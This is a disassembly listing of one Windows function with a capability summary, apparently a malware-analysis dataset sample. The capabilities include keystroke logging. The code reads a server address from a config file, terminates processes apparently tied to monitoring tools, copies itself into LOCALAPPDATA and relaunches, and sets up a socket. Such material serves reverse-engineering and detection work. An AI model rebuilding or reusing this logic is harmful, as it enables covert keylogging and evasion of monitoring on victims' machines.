Function at 0x43aa90
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create directory
Create process on windows
Create thread
Delete file
Enumerate gui resources
Enumerate processes
Get graphical window text
Log keystrokes via application hook
Print debug messages
Query environment variable
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x61a167
mov eax, dword fs:[0]
push eax
mov eax, 0x2374
call fcn.0058fc10
mov eax, dword [0x69cffc]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x21fc], esi
mov ecx, 0x6aa3c8
call fcn.00437660
call fcn.004088e0
push 0x20
mov dword [esi + 0xcc], eax
call fcn.00447f05
add esp, 4
lea ecx, [ebp - 0x21e0]
push dword [esi + 0xcc]
call fcn.004028f0
mov dword [ebp - 4], 0
mov esi, dword [ebp - 0x21e0]
mov dword [ebp - 0x21d4], esi
cmp dword [esi - 4], 1
jle 0x43ab2c
push dword [esi - 0xc]
lea ecx, [ebp - 0x21e0]
call fcn.004030b0
mov eax, dword [ebp - 0x21e0]
mov dword [ebp - 0x21d4], eax
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x43ab50
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
mov ecx, 0x6aa3bc
call fcn.00402df0
push 4
push str..log
mov ecx, 0x6aa3bc
call fcn.00414b40
push str.1.2.0
push ecx
mov esi, esp
mov dword [ebp - 0x21e8], esi
call fcn.0044a657
mov ecx, eax
test ecx, ecx
je 0x43c625
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [esi], eax
mov eax, str.Started__s
mov byte [ebp - 4], 1
mov ecx, esi
test eax, 0xffff0000
jne 0x43abc8
movzx eax, ax
push eax
call fcn.00402c80
jmp 0x43abd4
push 0xa
push str.Started__s
call fcn.00402df0
lea eax, [ebp - 0x21cc]
mov byte [ebp - 4], 0
push eax
push 0x6aa3bc
call fcn.00418280
mov edx, dword [ebp - 0x21cc]
or edi, 0xffffffff
add esp, 0x10
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x43ac0c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.0044a657
mov ecx, eax
test ecx, ecx
je 0x43c62f
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x21e4], eax
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 2
test eax, 0xffff0000
jne 0x43ac61
movzx eax, ax
lea ecx, [ebp - 0x21e4]
push eax
call fcn.00402c80
jmp 0x43ac92
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x43ac70
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x21e4]
call fcn.00402df0
push 4
push str..inf
lea ecx, [ebp - 0x21e4]
mov byte [ebp - 4], 3
call fcn.00414b40
mov esi, dword [ebp - 0x21e4]
push esi
push ecx
mov dword [ebp - 0x21cc], esp
call fcn.0044a657
mov ecx, eax
test ecx, ecx
je 0x43c639
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
mov ecx, dword [ebp - 0x21cc]
add eax, 0x10
mov dword [ecx], eax
mov eax, str.Load_config_from__s...
mov byte [ebp - 4], 4
test eax, 0xffff0000
jne 0x43acf2
movzx eax, ax
push eax
call fcn.00402c80
jmp 0x43acfe
push 0x16
push str.Load_config_from__s...
call fcn.00402df0
lea eax, [ebp - 0x21d0]
mov byte [ebp - 4], 3
push eax
push 0x6aa3bc
call fcn.00418280
mov edx, dword [ebp - 0x21d0]
add esp, 0x10
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x43ad33
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push esi
push 1
push str.GetPatch
push 0x66ff04
call edi
push esi
push 1
push str.GetSendlog
push 0x66ff04
mov dword [ebp - 0x2210], eax
call edi
push esi
push 1
push str.GetServerTime
push 0x66ff04
mov dword [ebp - 0x220c], eax
call edi
push esi
push 1
push str.GetStatus
push 0x66ff04
mov dword [ebp - 0x21f4], eax
call edi
push esi
push 1
push str.GetXBlock
push 0x66ff04
mov dword [ebp - 0x2208], eax
call edi
push esi
push 1
push str.GetError
push 0x66ff04
mov dword [ebp - 0x2204], eax
call edi
push esi
push 1
push str.GetMain
push 0x66ff04
mov dword [ebp - 0x2200], eax
call edi
push esi
push 0
push str.WorkDir
push 0x66ff04
mov dword [ebp - 0x21e8], eax
call edi
mov edi, dword [ebp - 0x21d4]
push esi
push 0x10
push edi
push edi
push str.Server
push 0x66ff04
mov dword [ebp - 0x21ec], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push edi
push ecx
mov edi, esp
mov dword [ebp - 0x21d8], edi
call fcn.0044a657
mov ecx, eax
test ecx, ecx
je 0x43c643
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
mov eax, str.ServerIP__s
mov byte [ebp - 4], 5
mov ecx, edi
test eax, 0xffff0000
jne 0x43ae3e
movzx eax, ax
push eax
call fcn.00402c80
jmp 0x43ae4a
push 0xb
push str.ServerIP__s
call fcn.00402df0
lea eax, [ebp - 0x21cc]
mov byte [ebp - 4], 3
push eax
push 0x6aa3bc
call fcn.00418280
mov edx, dword [ebp - 0x21cc]
add esp, 0x10
add edx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x43ae80
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, str.NetMnt
mov dword [ebp - 0x640], str.msiclient.exe
mov dword [ebp - 0x63c], str.NetMnt.exe
mov dword [ebp - 0x638], str.TVUpdater.exe
mov dword [ebp - 0x634], str.ProcWatcher.exe
mov dword [ebp - 0x630], str.Monitor.CallRT.exe
mov dword [ebp - 0x62c], 0
call fcn.0043a880
mov ecx, str.msiclient
call fcn.0043a880
push str.Quit_processes_.
call fcn.00408440
push 0x28
call fcn.00447f05
add esp, 8
mov dword [ebp - 0x21d0], eax
mov dword [ebp - 0x914], 0x22c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0
push 2
mov dword [ebp - 0x21d8], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x914]
mov dword [ebp - 0x21d4], eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
test eax, eax
jne 0x43af46
push str._nFailed_find_processes_..._n
call fcn.00408440
add esp, 4
push dword [ebp - 0x21d4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x43b09d
xor esi, esi
nop dword [eax + eax]
xor edi, edi
push 0x670228
call fcn.00408440
push dword [ebp + edi*4 - 0x640]
lea eax, [ebp - 0x8f0]
push eax
call fcn.005f9fc0
add esp, 0xc
test eax, eax
jne 0x43afae
mov eax, dword [ebp - 0x21d8]
cmp eax, dword [ebp - 0x90c]
je 0x43afae
push 0x672d30
call fcn.00408440
add esp, 4
lea eax, [ebp - 0x8f0]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 0x21d0]
mov eax, dword [ebp - 0x90c]
mov dword [ecx + esi*4], eax
inc esi
inc edi
cmp edi, 5
jl 0x43af52
mov edi, dword [ebp - 0x21d4]
lea eax, [ebp - 0x914]
push eax
push edi
mov dword [ebp - 0x21cc], esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x43af50
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
mov esi, dword [ebp - 0x21e4]
jle 0x43b089
mov edi, dword [ebp - 0x21cc]
xor esi, esi
push 0x670228
call fcn.00408440
add esp, 4
push str.Terminate
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov eax, dword [ebp - 0x21d0]
push dword [eax + esi*4]
lea eax, [eax + esi*4]
push 0
push 1
mov dword [ebp - 0x21d8], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x21cc], eax
test eax, eax
je 0x43b05a
push 0x672d30
call fcn.00408440
add esp, 4
push 9
push dword [ebp - 0x21cc]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x21cc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x43b07a
mov eax, dword [ebp - 0x21d8]
push dword [eax]
push str._nFailed_terminate_processes___d__..._n
call fcn.00408440
add esp, 8
push 0x670c08
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
inc esi
cmp esi, edi
jl 0x43aff3
mov esi, dword [ebp - 0x21e4]
push dword [ebp - 0x21d0]
call fcn.00447f00
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add esp, 4
push str.CallRTWatcher
push 0
call dword [sym.imp.USER32.dll_FindWindowW]
test eax, eax
je 0x43b203
lea ecx, [ebp - 0x21d0]
mov dword [ebp - 0x21d0], 0
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x21d0]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x21d8], eax
test eax, eax
je 0x43b0f8
push 9
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x21d8]
jmp 0x43b1fd
push dword [ebp - 0x21d0]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x21cc], eax
test eax, eax
je 0x43b203
push 0x104
lea ecx, [ebp - 0x8f0]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x43b1f7
push 0
push 2
mov dword [ebp - 0x21c8], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x21c8]
mov dword [ebp - 0x21d4], eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x43b16b
push dword [ebp - 0x21d4]
jmp 0x43b1fd
mov esi, dword [ebp - 0x21d4]
lea eax, [ebp - 0x8f0]
push eax
lea eax, [ebp - 0x21a4]
push eax
call fcn.005f9fc0
add esp, 8
test eax, eax
jne 0x43b1d3
push str.Terminate
call edi
lea eax, [ebp - 0x21a4]
push eax
call edi
push dword [ebp - 0x21c0]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x21d8], eax
test eax, eax
je 0x43b1cc
push 9
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x21d8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x43b1d3
push str._failed.
call edi
lea eax, [ebp - 0x21c8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x43b171
push dword [ebp - 0x21d4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x21e4]
push dword [ebp - 0x21cc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
lea eax, [ebp - 0x420]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x104
lea eax, [ebp - 0x628]
push eax
push str.LOCALAPPDATA
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
xor eax, eax
mov dword [ebp - 0x658], 0
mov dword [ebp - 0x648], 0
mov dword [ebp - 0x644], 7
mov word [ebp - 0x658], ax
lea ecx, [ebp - 0x628]
mov byte [ebp - 4], 6
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x43b262
sub ecx, edx
lea eax, [ebp - 0x628]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x658]
call fcn.004270d0
push 7
push 0x672ec4
lea ecx, [ebp - 0x658]
call fcn.004270d0
cmp dword [ebp - 0x644], 8
lea eax, [ebp - 0x658]
push 0
cmovae eax, dword [ebp - 0x658]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
xor eax, eax
mov dword [ebp - 0x670], 0
mov dword [ebp - 0x660], 0
mov dword [ebp - 0x65c], 7
mov word [ebp - 0x670], ax
lea ecx, [ebp - 0x420]
mov byte [ebp - 4], 7
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x43b2e7
sub ecx, edx
lea eax, [ebp - 0x420]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x670]
call fcn.004270d0
cmp dword [ebp - 0x65c], 8
lea edx, [ebp - 0x670]
mov eax, dword [ebp - 0x660]
cmovae edx, dword [ebp - 0x670]
test eax, eax
je 0x43b353
or ecx, 0xffffffff
dec eax
cmp eax, ecx
cmovb ecx, eax
cmp word [edx + ecx*2], 0x5c
lea ecx, [edx + ecx*2]
je 0x43b34d
nop word [eax + eax]
cmp ecx, edx
je 0x43b353
sub ecx, 2
cmp word [ecx], 0x5c
jne 0x43b340
sub ecx, edx
sar ecx, 1
jmp 0x43b356
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 0x640], 0
cmp dword [ebp - 0x660], ecx
mov word [ebp - 0x640], ax
lea eax, [ebp - 0x670]
cmovb ecx, dword [ebp - 0x660]
cmp dword [ebp - 0x65c], 8
push ecx
cmovae eax, dword [ebp - 0x670]
lea ecx, [ebp - 0x640]
push eax
mov dword [ebp - 0x630], 0
mov dword [ebp - 0x62c], 7
call fcn.00408260
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x658]
cmp dword [ebp - 0x644], 8
lea eax, [ebp - 0x640]
mov edx, dword [ebp - 0x630]
cmovae ecx, dword [ebp - 0x658]
cmp dword [ebp - 0x62c], 8
cmovae eax, dword [ebp - 0x640]
cmp edx, dword [ebp - 0x648]
jne 0x43b414
test edx, edx
je 0x43b408
sub eax, ecx
mov dword [ebp - 0x21d8], eax
mov ax, word [eax + ecx]
cmp ax, word [ecx]
jne 0x43b414
mov eax, dword [ebp - 0x21d8]
add ecx, 2
sub edx, 1
jne 0x43b3f1
mov dword [ebp - 0x21cc], 1
jmp 0x43b41e
mov dword [ebp - 0x21cc], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x21d8], eax
nop word [eax + eax]
push str.1011429OK
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
test eax, eax
je 0x43b454
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x43b454
xor eax, eax
jmp 0x43b459
mov eax, 1
test eax, eax
je 0x43b53b
push 0
push 2
mov dword [ebp - 0x21c8], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x21c8]
mov dword [ebp - 0x21d0], eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x43b82b
mov eax, dword [ebp - 0x21c0]
cmp dword [ebp - 0x21d8], eax
je 0x43b514
push eax
push 0x43a670
call dword [sym.imp.USER32.dll_EnumWindows]
push 0x104
lea eax, [ebp - 0x8f0]
push eax
push dword [0x6a9c68]
call dword [sym.imp.USER32.dll_GetWindowTextW]
xor eax, eax
mov word [ebp - 0x8de], ax
lea eax, [ebp - 0x8f0]
push eax
call edi
push 0x670940
call edi
lea eax, [ebp - 0x8f0]
push 0x66ff04
push eax
call fcn.005f9fc0
add esp, 8
test eax, eax
je 0x43b608
lea eax, [ebp - 0x21a4]
push 0x66ff50
push eax
call fcn.005f9fc0
add esp, 8
test eax, eax
je 0x43b608
lea eax, [ebp - 0x21c8]
push eax
push dword [ebp - 0x21d0]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x43b491
push dword [ebp - 0x21d0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x21cc], 0
jne 0x43bc1d
cmp dword [ebp - 0x21ec], 0
jne 0x43bc1d
push 0xb
push 0x672ee8
lea ecx, [ebp - 0x658]
call fcn.004270d0
cmp dword [ebp - 0x644], 8
lea ecx, [ebp - 0x658]
push 0
cmovae ecx, dword [ebp - 0x658]
lea eax, [ebp - 0x670]
cmp dword [ebp - 0x65c], 8
push ecx
cmovae eax, dword [ebp - 0x670]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp dword [ebp - 0x65c], 8
lea ecx, [ebp - 0x670]
mov dword [ebp - 0x21d4], eax
cmovae ecx, dword [ebp - 0x670]
push ecx
lea ecx, [ebp - 0x21cc]
call fcn.004028f0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x21d8]
push dword [eax]
cmp dword [ebp - 0x644], 8
lea eax, [ebp - 0x658]
cmovae eax, dword [ebp - 0x658]
push eax
call fcn.004028f0
mov byte [ebp - 4], 0xa
push dword [eax]
push ecx
mov edi, esp
mov dword [ebp - 0x21d0], edi
call fcn.0044a657
mov ecx, eax
test ecx, ecx
je 0x43c64d
jmp 0x43b923
push dword [ebp - 0x21c0]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x43b654
push 0x104
lea eax, [ebp - 0x8f0]
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
je 0x43b654
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x8f0]
push eax
call fcn.005f9fc0
add esp, 8
test eax, eax
je 0x43b6b8
push dword [ebp - 0x21c0]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x21d4], eax
test eax, eax
je 0x43b6c9
push 9
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x21d4]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x43b6a1
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x8f0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [ebp - 0x21d0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x43b430
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x21d0]
call edi
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x62c]
cmp eax, 8
jb 0x43b70d
mov edi, dword [ebp - 0x640]
lea ecx, [eax*2 + 2]
mov eax, edi
cmp ecx, 0x1000
jb 0x43b703
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c657
push ecx
push edi
call fcn.0058f106
add esp, 8
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x65c]
cmp edx, 8
jb 0x43b751
mov ecx, dword [ebp - 0x670]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x43b747
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c657
push edx
push ecx
call fcn.0058f106
add esp, 8
xor eax, eax
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x644]
mov dword [ebp - 0x660], 0
mov dword [ebp - 0x65c], 7
mov word [ebp - 0x670], ax
cmp edx, 8
jb 0x43b7b2
mov ecx, dword [ebp - 0x658]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x43b7a8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c657
push edx
push ecx
call fcn.0058f106
add esp, 8
xor eax, eax
lea edx, [esi - 0x10]
mov byte [ebp - 4], al
or esi, 0xffffffff
mov word [ebp - 0x658], ax
mov eax, esi
mov dword [ebp - 0x644], 7
mov dword [ebp - 0x648], 0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x43b7ec
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x21e0]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x43b80e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0058f0d5
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x21d0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x62c]
cmp eax, 8
jb 0x43b87b
mov edi, dword [ebp - 0x640]
lea ecx, [eax*2 + 2]
mov eax, edi
cmp ecx, 0x1000
jb 0x43b871
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c657
push ecx
push edi
call fcn.0058f106
add esp, 8
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x65c]
cmp edx, 8
jb 0x43b8bf
mov ecx, dword [ebp - 0x670]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x43b8b5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c657
push edx
push ecx
call fcn.0058f106
add esp, 8
xor eax, eax
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x644]
mov dword [ebp - 0x660], 0
mov dword [ebp - 0x65c], 7
mov word [ebp - 0x670], ax
cmp edx, 8
jb 0x43b7b2
mov ecx, dword [ebp - 0x658]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x43b7a8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c657
jmp 0x43b7a8
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
mov eax, str.Install__s_from__s
mov byte [ebp - 4], 0xb
mov ecx, edi
test eax, 0xffff0000
jne 0x43b94c
movzx eax, ax
push eax
call fcn.00402c80
jmp 0x43b958
push 0x12
push str.Install__s_from__s
call fcn.00402df0
lea eax, [ebp - 0x21ec]
mov byte [ebp - 4], 0xa
push eax
push 0x6aa3bc
call fcn.00418280
mov edx, dword [ebp - 0x21ec]
or edi, 0xffffffff
add esp, 0x14
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x43b990
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 9
mov eax, edi
mov edx, dword [ebp - 0x21d8]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x43b9b1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 8
mov eax, edi
mov edx, dword [ebp - 0x21cc]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x43b9d2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [ebp - 0x21d4], 0
je 0x43bc20
cmp dword [ebp - 0x644], 8
lea eax, [ebp - 0x658]
push 5
cmovae eax, dword [ebp - 0x658]
push 0x66eae8
push 0x66eae8
push eax
push str.open
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp dword [ebp - 0x644], 8
lea eax, [ebp - 0x658]
lea ecx, [ebp - 0x21cc]
cmovae eax, dword [ebp - 0x658]
push eax
call fcn.004028f0
mov byte [ebp - 4], 0xc
push dword [eax]
push ecx
mov dword [ebp - 0x21ec], esp
call fcn.0044a657
mov ecx, eax
test ecx, ecx
je 0x43c65c
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
mov ecx, dword [ebp - 0x21ec]
add eax, 0x10
mov dword [ecx], eax
mov eax, str.Installed__s
mov byte [ebp - 4], 0xd
test eax, 0xffff0000
jne 0x43ba7b
movzx eax, ax
push eax
call fcn.00402c80
jmp 0x43ba87
push 0xc
push str.Installed__s
call fcn.00402df0
lea eax, [ebp - 0x21d8]
mov byte [ebp - 4], 0xc
push eax
push 0x6aa3bc
call fcn.00418280
mov edx, dword [ebp - 0x21d8]
add esp, 0x10
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x43babc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 8
mov eax, edi
mov edx, dword [ebp - 0x21cc]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x43badd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x62c]
cmp eax, 8
jb 0x43bb24
mov edi, dword [ebp - 0x640]
lea ecx, [eax*2 + 2]
mov eax, edi
cmp ecx, 0x1000
jb 0x43bb17
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c657
push ecx
push edi
call fcn.0058f106
add esp, 8
or edi, 0xffffffff
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x65c]
cmp edx, 8
jb 0x43bb68
mov ecx, dword [ebp - 0x670]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x43bb5e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c657
push edx
push ecx
call fcn.0058f106
add esp, 8
xor eax, eax
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x644]
mov dword [ebp - 0x660], 0
mov dword [ebp - 0x65c], 7
mov word [ebp - 0x670], ax
cmp edx, 8
jb 0x43bbc9
mov ecx, dword [ebp - 0x658]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x43bbbf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c657
push edx
push ecx
call fcn.0058f106
add esp, 8
xor eax, eax
mov dword [ebp - 0x648], 0
mov word [ebp - 0x658], ax
add esi, 0xfffffff0
mov byte [ebp - 4], al
mov eax, edi
mov dword [ebp - 0x644], 7
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x43bc00
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x21e0]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], edi
dec edi
test edi, edi
jmp 0x43b804
or edi, 0xffffffff
lea eax, [ebp - 0x2248]
mov dword [ebp - 0x2248], 8
push eax
mov dword [ebp - 0x2244], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, dword [ebp - 0x21fc]
call fcn.0045dc48
lea ecx, [ebp - 0x2278]
call fcn.0040a330
mov dword [ebp - method.CSend.virtual_0], 0x673120
mov dword [ebp - 0x2250], 0
mov dword [ebp - 0x224c], 0
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0x21f4], 0
je 0x43bc8d
lea ecx, [ebp - 0x2278]
call fcn.0040a640
lea eax, [ebp - 0xe5c]
push eax
call fcn.0045e61f
test eax, eax
jne 0x43bdfc
push ecx
mov dword [ebp - 0x21f4], esp
call fcn.0044a657
mov ecx, eax
test ecx, ecx
je 0x43c666
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
mov ecx, dword [ebp - 0x21f4]
add eax, 0x10
mov dword [ecx], eax
mov eax, str._Failed_initialize_socket_
mov byte [ebp - 4], 0xf
test eax, 0xffff0000
jne 0x43bce4
movzx eax, ax
push eax
call fcn.00402c80
jmp 0x43bcf0
push 0x20
push str._Failed_initialize_socket_
call fcn.00402df0
push 1
lea eax, [ebp - 0x21ec]
mov byte [ebp - 4], 0xe
push eax
push 0x6aa3bc
call fcn.00409fa0
mov edx, dword [ebp - 0x21ec]
add esp, 0x10
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x43bd27
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 8
push dword [ebp - 0x2274]
mov dword [ebp - method.CSend.virtual_0], vtable.CSend.0
call fcn.00447f00
add esp, 4
cmp dword [ebp - 0x2258], 0
jne 0x43c670
cmp dword [ebp - 0x2260], 0xffffffff
je 0x43bd71
lea eax, [ebp - 0x2260]
